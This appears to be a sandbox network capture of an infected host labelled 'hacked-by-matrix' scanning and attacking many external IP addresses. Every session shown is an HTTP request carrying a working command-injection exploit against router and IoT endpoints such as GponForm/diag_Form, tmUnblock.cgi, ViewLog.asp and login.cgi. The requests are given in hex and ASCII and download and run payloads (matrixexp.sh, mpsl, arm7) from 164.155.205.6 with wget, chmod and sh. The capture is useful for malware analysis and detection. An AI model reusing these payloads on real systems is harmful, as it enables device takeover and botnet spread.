1405	192.168.2.23	34422	79.45.239.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.150696993 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1406	192.168.2.23	33524	172.65.82.78	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.423424959 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1407	192.168.2.23	55096	178.154.195.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.926884890 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:17.171302080 CET	186	IN	HTTP/1.1 308 Permanent Redirect Connection: close Location: https://127.0.0.1/cgi-bin/ViewLog.asp Server: Caddy Date: Sat, 02 Mar 2024 11:38:17 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1408	192.168.2.23	32976	154.214.5.131	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:16.982628107 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:17.171792984 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:17 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1409	192.168.2.23	36636	23.152.225.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.067483902 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:17.201128960 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:17 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1410	192.168.2.23	52080	82.138.89.109	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.090092897 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1411	192.168.2.23	33006	82.196.8.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.095983982 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:17.634912968 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:17.805989027 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Mar 2024 11:38:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Mar 2, 2024 12:38:17.806063890 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Mar 2024 11:38:17 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1412	192.168.2.23	35042	67.227.171.139	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.100970984 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:21.209198952 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:21.321501970 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:21 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>
Mar 2, 2024 12:38:26.021688938 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:21 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1413	192.168.2.23	49054	52.222.182.172	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.127324104 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:17.297240019 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
1414	192.168.2.23	45910	212.189.202.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.200153112 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:18.429568052 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:19.897425890 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:23.002064943 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:28.892081976 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:40.662520885 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1415	192.168.2.23	48094	172.67.84.80	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.362412930 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:17.850938082 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1416	192.168.2.23	59706	172.240.153.253	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.371350050 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:17.470944881 CET	233	IN	HTTP/1.1 400 Bad Request Content-type: text/html Date: Sat, 02 Mar 2024 12:38:17 GMT Last-modified: Sat, 02 Mar 2024 12:38:17 GMT Server: GIANTS Dedicated Server GIANTS Dedicated Server/9.2.0.0 Content-Length: 58

Session ID	Source IP	Source Port	Destination IP	Destination Port
1417	192.168.2.23	59816	104.221.148.38	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.465379953 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:17.628235102 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:17 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1418	192.168.2.23	39940	23.193.210.232	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:17.471030951 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:17.634111881 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:38:17 GMT Date: Sat, 02 Mar 2024 11:38:17 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 38 35 64 63 66 37 62 64 26 23 34 36 3b 31 37 30 39 33 37 39 34 39 37 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.85dcf7bd.1709379497.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1419	192.168.2.23	59752	172.240.153.253	8080

Timestamp	Bytes transferred	Direction	Data
